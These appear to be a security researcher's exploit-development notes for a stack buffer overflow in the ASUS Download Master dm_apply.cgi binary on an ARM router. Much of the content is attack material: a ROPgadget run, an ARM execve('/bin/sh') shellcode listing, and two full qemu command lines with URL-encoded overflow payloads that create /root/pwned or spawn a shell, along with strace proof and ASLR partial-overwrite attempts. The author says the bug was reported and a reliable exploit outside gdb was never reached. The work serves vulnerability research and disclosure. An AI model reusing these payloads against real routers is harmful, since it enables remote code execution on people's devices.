I ran into issues with alignment and execution of shellcode when it’s within the AAAAAs, and then messed around and found that there’s still plenty of space available after overwriting the return address. In my experience it’s also way easier to stack adjust / ROP around when overwriting to higher stack addresses, as there are usually more gadgets. (Later Howard: I later fixed the dumb alignment issues to make it possible to do junk+shellcode+ret)

alt text

Screenshot above is running ROPgadget --binary ../download_manager/asusware.arm/etc/downloadmaster/downloadmaster/dm_apply.cgi

Using a 35 byte shellcode (https://shell-storm.org/shellcode/files/shellcode-855.html), we can add a buffer of 2297 “A"s, then the shellcode, then our ret of BBBB. After some testing, I found the stack alignment is a little off so adjusting for that:

alt text

That’s 2296 * A + shellcode + \x20 + BBBB– we’re clearly hitting the execve call. This was done manually via gdb by setting PC to the location of the payload on the stack.

Due to discrepancies with GDB’s environment, the overflow happens differently outside of GDB. In the above example, $sp-64 looks like this: alt text

Which means that at 0xfffebeb0, we have our first bit of shellcode, and we die at 174754 execve("//bin//sh BBBB",{ = -1 errno=2 (No such file or directory)

However, that same payload results in the following segfault outside of GDB, not quite what we want:

--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0xfdf2f6e8} ---
Segmentation fault

This link gives a great overview on why this typically is: https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it

Looking at the coredump, we see a slight discrepancy in our payload addressing. In the GDB environment, our payload begins at 0xfffebeb0, but outside of GDB our payload is misaligned, and begins at 0xfffebeb8

alt text

So, in addition to modifying our return address, we also need to modify where our payload appears in our buffer by two bytes in either direction. Since modifying it to be two bytes further in will interfere with the final ret (BBBB), we can just move two bytes from the initial buffer to after our shellcode, then adjust the ret.

PoC Outside of GDB:

2294 + %01%60%8f%e2%16%ff%2f%e1%40%40%78%44%0c%30%49%40%52%40%0b%27%01%df%01%27%01%df%2f%2f%62%69%6e%2f%2f%73%68 + 3 byte padding + RET (%bb%be%fe%ff)

alt text

This fails in execve (great), but because the shellcode ends in //bin//sh + padding + ret it dies. We need //bin//sh\x00, so we’ll need to mod the shellcode a bit to do a calculation of that.

Since we have control of PC and stack before and after our payload, one possible method is to replace the svc call and string with a stack adjustment, and “jump” over the RET address we need. This allows us to have the same shellcode, and end in a null byte.

(Later Howard: wtf was I talking about, what is all this??)

ASM add $pc, 0x20 //Adjust PC + 20

OG Shellcode

/* 
Title       : Linux/ARM - execve("/bin/sh", [], [0 vars]) - 35 bytes
Date        : 2013-09-04
Author      : gunslinger_ (yuda at cr0security dot com)
Tested on   : ARM1176 rev6 (v6l)

An ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00.

Cr0security.com

*/
#include <stdio.h>

char *shellcode = "\x01\x60\x8f\xe2"    // add     r6, pc, #1
              "\x16\xff\x2f\xe1"    // add     bx      r6
              "\x40\x40"            // eors    r0, r0
              "\x78\x44"            // add     r0, pc
              "\x0c\x30"            // adds    r0, #12
              "\x49\x40"            // eors    r1, r1
              "\x52\x40"            // eors    r2, r2
              "\x0b\x27"            // movs    r7, #11
              "\x01\xdf"            // svc     1
              "\x01\x27"            // movs    r7, #1
              "\x01\xdf"            // svc     1
              "\x2f\x2f"            // .short  0x2f2f
              "\x62\x69\x6e\x2f"    // .word   0x2f6e6962
              "\x2f\x73"            // .short  0x732f
              "\x68";               // .byte   0x68

int main(){
fprintf(stdout,"Shellcode length: %d\n", strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

Create /root/pwned:

sudo chroot . ./qemu-arm-static -strace -E QUERY_STRING='action_mode=DM_CTRL&dm_ctrl=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%60%e2%fe%ff%01%60%8f%e2%16%ff%2f%e1%78%46%10%30%ff%21%ff%31%01%31%08%27%01%df%40%40%01%27%01%df%2f%72%6f%6f%74%2f%70%77%6e%65%64&task_id=&download_type=OTHER' etc/downloadmaster/downloadmaster/dm_apply.cgi

Proof:

1870 rt_sigaction(SIGINT,0xff7d43c4,NULL) = 0
1870 rt_sigaction(SIGQUIT,0xff7d43d8,NULL) = 0
1870 rt_sigprocmask(SIG_SETMASK,0xfffea5dc,NULL) = 0
1870 open("/Download2/.sems/sem.jqs",O_RDONLY|O_NONBLOCK) = -1 errno=2 (No such file or directory)
1870 close(-1) = -1 errno=9 (Bad file descriptor)
1870 close(-1) = -1 errno=9 (Bad file descriptor)
1870 open("/Download2/.logs/dm.jqs",O_RDONLY) = -1 errno=2 (No such file or directory)
1870 write(1,0xff7d2864,6)UNKNOW = 6
1870 creat("/root/pwned",0777) = 3
1870 exit(0)
tester@asuserlin-ubuntu20:~/download_manager/asusware.arm$ ls root/
pwned

alt text

/bin/sh PoC via qemu

sudo chroot . ./qemu-arm-static -strace -E QUERY_STRING='action_mode=DM_CTRL&dm_ctrl=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%10%DF%FE%FF%54%80%8F%E2%58%40%A0%E3%1C%60%8F%E2%01%0C%54%E3%16%FF%2F%81%58%40%44%E2%04%50%D8%E7%05%50%25%E2%04%50%C8%E7%59%40%84%E2%F7%FF%FF%EA%24%60%8F%E2%FF%5F%0F%E3%03%50%85%E2%B0%50%C6%E1%07%70%27%E0%80%40%2D%E9%01%70%47%E2%04%70%2D%E5%01%70%87%E2%04%70%2D%E5%07%40%BD%E8%41%41%9F%4F%6D%75%05%E6%44%74%41%E6%01%75%28%E0%2A%7A%07%E6%2A%76%42%E6%01%75%28%E0%2A%77%03%E6%6C%7B%43%E6%01%75%28%E0%08%05%A5%E4%76%7D%03%E6%01%75%28%E0%09%C5%29%E5%01%C5%28%E0%01%15%A5%E6%08%15%84%E5%04%C5%A5%E4%01%C5%28%E0%08%15%A5%E4%07%25%27%E5%0E%75%A5%E6%05%05%05%EA&task_id=&download_type=OTHER' etc/downloadmaster/downloadmaster/dm_apply.cgi
[...]
14122 close(-1) = -1 errno=9 (Bad file descriptor)
14122 close(-1) = -1 errno=9 (Bad file descriptor)
14122 open("/Download2/.logs/dm.jqs",O_RDONLY) = -1 errno=2 (No such file or directory)
14122 write(1,0xff7d2864,6)UNKNOW = 6
14122 execve("/bin///sh",{"sh",NULL})/ # id
/bin///sh: id: not found
/ # Killed

Woot

I also wrote it so that the payload can sit BEFORE the initial PC overwrite, as that might start / end with a null

Making it to portable?…

Good idea:

Partial overwrite of PC = A*2332 + \x42\x42 = ► f 0 0xff004242 = Partial PC Overwrite = ASLR bypass?

BALLLLLLLLLLLLLLLLLSSSSSSSSSSSSSSSSSS, getting frustrated, so the partial overwrite WORKS, but a null is appended (by something?) at the end of the payload, so a partial overwrite of 0x4242 results in 0xFF004242:

(gdb) c
Continuing.

Thread 19.1 "dm_apply.cgi" received signal SIGILL, Illegal instruction.
0xf7004242 in ?? ()

A SINGLE BYTE overwrite results in 0xf7250042:

(gdb) c
Continuing.

Thread 12.1 "dm_apply.cgi" received signal SIGILL, Illegal instruction.
0xf7250042 in accept4 () from /opt/lib/libc.so.1
(gdb)
Continuing.

Program terminated with signal SIGILL, Illegal instruction.
The program no longer exists.

what in the fuck

I’m not sure I can take advantage of this. I need to dynamically determine where I am in memory somehow, but I can only do it in one request. Each request spawns a new CGI, so the memory layouts change… I think

Begins search for an info leak

Even with a partial bypass we need to try to land somewhere COOL. On the actual router during when the payload hijacks PC and “crashes”, the memory maps look like this:

admin@RT-AX88U-C100:/tmp/home/root# cat /proc/20661/maps
00010000-00028000 r-xp 00000000 08:01 6758057                            /tmp/mnt/USB/asusware.arm/etc/downloadmaster/downloadmaster/dm_apply.cgi
00038000-00039000 rw-p 00018000 08:01 6758057                            /tmp/mnt/USB/asusware.arm/etc/downloadmaster/downloadmaster/dm_apply.cgi
00039000-0003f000 rw-p 00000000 00:00 0
00635000-00658000 rw-p 00000000 00:00 0                                  [heap]
f7419000-f74a6000 r-xp 00000000 08:01 6735435                            /tmp/mnt/USB/asusware.arm/lib/libuClibc-1.0.15.so
f74a6000-f74b6000 ---p 00000000 00:00 0
f74b6000-f74b7000 r--p 0008d000 08:01 6735435                            /tmp/mnt/USB/asusware.arm/lib/libuClibc-1.0.15.so
f74b7000-f74b8000 rw-p 0008e000 08:01 6735435                            /tmp/mnt/USB/asusware.arm/lib/libuClibc-1.0.15.so
f74b8000-f74bc000 rw-p 00000000 00:00 0
f74bc000-f74c2000 r-xp 00000000 08:01 6735417                            /tmp/mnt/USB/asusware.arm/lib/ld-uClibc-1.0.15.so
f74cf000-f74d1000 rw-p 00000000 00:00 0
f74d1000-f74d2000 r--p 00005000 08:01 6735417                            /tmp/mnt/USB/asusware.arm/lib/ld-uClibc-1.0.15.so
f74d2000-f74d3000 rw-p 00006000 08:01 6735417                            /tmp/mnt/USB/asusware.arm/lib/ld-uClibc-1.0.15.so
ffc29000-ffc4b000 rw-p 00000000 00:00 0                                  [stack]
ffff0000-ffff1000 r-xp 00000000 00:00 0                                  [vectors]
admin@RT-AX88U-C100:/tmp/home/root#

alt text

GDB @ time of crash:

(gdb) c
Continuing.

Thread 19.1 "dm_apply.cgi" received signal SIGILL, Illegal instruction.
0xf7004242 in ?? ()

0xf7004242 is ALMOST within libc

So there’s actually WAY fewer libraries to work with in terms of ROP, but that might be good.

Now we need to determine where we are in memory, but we can’t hardcode any memory addresses due to the ephemeral nature of the process and the fact that it will probably change. Running ropper against a few of the libraries, namely libuClibc-1.0.15.so and dm_apply.cgi gives us some options, but no easy wins like we’d maybe see in i386, like jmp esp, lol.

asus_lighttpd sits at a constant 0x0000xxxx so if we can find a useable gadget within it to use for 0x0001b240: push {r0, r1, r2, lr}; strb r3, [sp, #4]; mov r3, sp; bl #0x1b0f0; add sp, sp, #0xc; pop {pc};

Long story short

This one was hard and I reported it before getting a workable exploit outside of gdb. ASLR and the literally, 19 forks, were a real problem and I didn’t have a good solution at the time. I just stopped taking notes at the end as I tried different things, but couldn’t pull this one off!